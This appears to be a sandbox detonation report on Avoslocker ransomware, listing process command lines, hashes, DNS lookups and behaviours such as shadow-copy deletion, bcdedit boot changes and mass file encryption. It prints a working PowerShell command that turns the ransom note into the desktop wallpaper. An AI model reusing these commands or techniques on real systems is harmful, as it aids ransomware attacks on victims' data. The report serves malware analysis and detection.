powershell -Command "$a = [System.IO.File]::ReadAllText(\"F:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1247608375.png /f

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False

C:\Program Files\VideoLAN\VLC\vlc.exe

"C:\Program Files\VideoLAN\VLC\vlc.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 134.130.81.91.in-addr.arpa udp
US 8.8.8.8:53 134.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 107.12.20.2.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 63.141.182.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe

MD5 e27b5291c8fb2dfdeb7f16bb6851df5e
SHA1 40207f83b601cd60905c1f807ac0889c80dfe33f
SHA256 ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f
SHA512 2ddbc50cd780ffbf73c354b9b437322eb49cb05bb6f287d54e7dcafb61dc4c4549e37ae2f972f3d240bfa7d2ca485b7583137f1bf038bc901f378cea0c305c6a

memory/2500-7-0x00007FF6BDB20000-0x00007FF6BDC3E000-memory.dmp

F:\$RECYCLE.BIN\GET_YOUR_FILES_BACK.txt

MD5 c92c2b70fb37f84aab38412ad9226aa8
SHA1 14f2e9a83285612d0a7b2c83b8f89bccfde6c154
SHA256 d64639e873c0873b469cd856d1ef4bce7dc14a80fac6fe2bed9d629f05acc77f
SHA512 04f9dcb3cd49909712535255b6eadd7fafcb2902bf1abd5a25e9bb5f5c4dc032611aec0a5b0ec89cd7dbc65276b935c54b906b391507d2e3e3aa65466b15f848

memory/3024-15770-0x000001C663CD0000-0x000001C663CF2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i345a1b1.k12.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 f41e608cfdcf9e9d1056a52104b47e46
SHA1 448c9257d0af3200a0ee9fc991f8ac1888e0cf38
SHA256 69dc1f8322d399c577189c50aecf322c56783b94372c4b431b9b2ef4c7c2ea91
SHA512 0ab455929c1c20e0e2dcb1dc71b70335681a56ba694d3cf8aa250fce7e30be29292b44d3cbafd84e75edcdfd1bf202fe0b3fd7f8e2572f8249ef0b1deb52e3c5

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

memory/24632-22688-0x00007FFDDF080000-0x00007FFDDF0B4000-memory.dmp

memory/24632-22687-0x00007FF6B1BA0000-0x00007FF6B1C98000-memory.dmp

memory/24632-22689-0x00007FFDCFBB0000-0x00007FFDCFE66000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-12-25 13:50

Reported

2024-12-25 13:53

Platform

win7-20240903-en

Max time kernel

122s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\testing.exe"

Signatures

Avoslocker Ransomware

ransomware avoslocker

Avoslocker family

avoslocker

Deletes shadow copies

ransomware defense_evasion impact execution

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Renames multiple (10383) files with added filename extension

ransomware

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A

Drops desktop.ini file(s)

Description Indicator Process Target
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\DESKTOP.INI C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1054300142.png" C:\Windows\system32\reg.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\Common Files\microsoft shared\Web Folders\1033\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\Smart Tag\1033\STINTL.DLL.IDX_DLL C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Detroit C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files (x86)\Windows Sidebar\Gadgets\Calendar.Gadget\es-ES\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR49F.GIF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18229_.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099156.JPG C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107480.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Argentina\San_Juan C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.equinox.nl_zh_4.4.0.v20140623020002.jar C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18255_.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Office Setup Controller\Publisher.en-us\SETUP.XML C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInTray.gif C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\images\rss_headline_glow_docked.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Cocos C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files (x86)\Windows Sidebar\Gadgets\Calendar.Gadget\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107712.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Windows Media Player\ja-JP\wmpnssci.dll.mui C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-selector-ui.xml C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files\Common Files\Microsoft Shared\ink\sv-SE\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\AN01060_.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\DD01167_.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\System\Ole DB\it-IT\sqloledb.rll.mui C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-core.xml C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\com.jrockit.mc.rcp.product_root_5.5.0.165303 C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\locale\lv\LC_MESSAGES\vlc.mo C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\ext\sunmscapi.jar C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.ui_4.0.100.v20140401-0608.jar C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FORM.JS C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_email.gif C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\ja-JP\js\timeZones.js C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files\Windows NT\TableTextService\es-ES\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\locale\my\LC_MESSAGES\vlc.mo C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Common Files\Microsoft Shared\VSTO\vstoee90.tlb C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\ONENOTE_K_COL.HXK C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA00784_.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\SKY\THMBNAIL.PNG C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-heapwalker_ja.jar C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\de\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\vlc.mo C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\COPYRIGHT C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\docked_blue_sun.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\images\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Templates\1033\ApothecaryMergeLetter.dotx C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\SIDBAR98.POC C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0183174.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\de-DE\css\settings.css C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Windows Media Player\Network Sharing\wmpnss_color48.bmp C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files\Internet Explorer\ja-JP\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\images\system_dot.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0187863.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PE03470_.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\undocked_gray_few-showers.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\images\buttonDown_Off.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\it-IT\css\RSSFeeds.css C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0240719.WMF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jetty.io_8.1.14.v20131031.jar C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGMN086.XML C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\button_left_over.gif C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\ACCESS12.ACC C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH01332U.BMP C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\SPRING\SPRING.INF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Mozilla Firefox\update-settings.ini C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.w3c.dom.svg_1.1.0.v201011041433.jar C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1672 wrote to memory of 2608 N/A C:\Users\Admin\AppData\Local\Temp\testing.exe C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe
PID 1672 wrote to memory of 2608 N/A C:\Users\Admin\AppData\Local\Temp\testing.exe C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe
PID 1672 wrote to memory of 2608 N/A C:\Users\Admin\AppData\Local\Temp\testing.exe C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe
PID 1672 wrote to memory of 2608 N/A C:\Users\Admin\AppData\Local\Temp\testing.exe C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe
PID 2608 wrote to memory of 2716 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\system32\cmd.exe
PID 2608 wrote to memory of 2716 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\system32\cmd.exe
PID 2608 wrote to memory of 2716 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\system32\cmd.exe
PID 2608 wrote to memory of 2716 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\system32\cmd.exe
PID 2608 wrote to memory of 2720 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\system32\cmd.exe
PID 2608 wrote to memory of 2720 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\system32\cmd.exe
PID 2608 wrote to memory of 2720 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\system32\cmd.exe
PID 2608 wrote to memory of 2720 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\system32\cmd.exe
PID 2608 wrote to memory of 2796 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\system32\cmd.exe
PID 2608 wrote to memory of 2796 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\system32\cmd.exe
PID 2608 wrote to memory of 2796 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\system32\cmd.exe
PID 2608 wrote to memory of 2796 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\system32\cmd.exe
PID 2608 wrote to memory of 2820 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\system32\cmd.exe
PID 2608 wrote to memory of 2820 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\system32\cmd.exe
PID 2608 wrote to memory of 2820 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\system32\cmd.exe
PID 2608 wrote to memory of 2820 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\system32\cmd.exe
PID 2608 wrote to memory of 2704 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\system32\cmd.exe
PID 2608 wrote to memory of 2704 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\system32\cmd.exe
PID 2608 wrote to memory of 2704 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\system32\cmd.exe
PID 2608 wrote to memory of 2704 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\system32\cmd.exe
PID 2716 wrote to memory of 2564 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2716 wrote to memory of 2564 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2716 wrote to memory of 2564 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2820 wrote to memory of 2016 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2820 wrote to memory of 2016 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2820 wrote to memory of 2016 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2796 wrote to memory of 1984 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2796 wrote to memory of 1984 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2796 wrote to memory of 1984 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2720 wrote to memory of 2484 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\vssadmin.exe
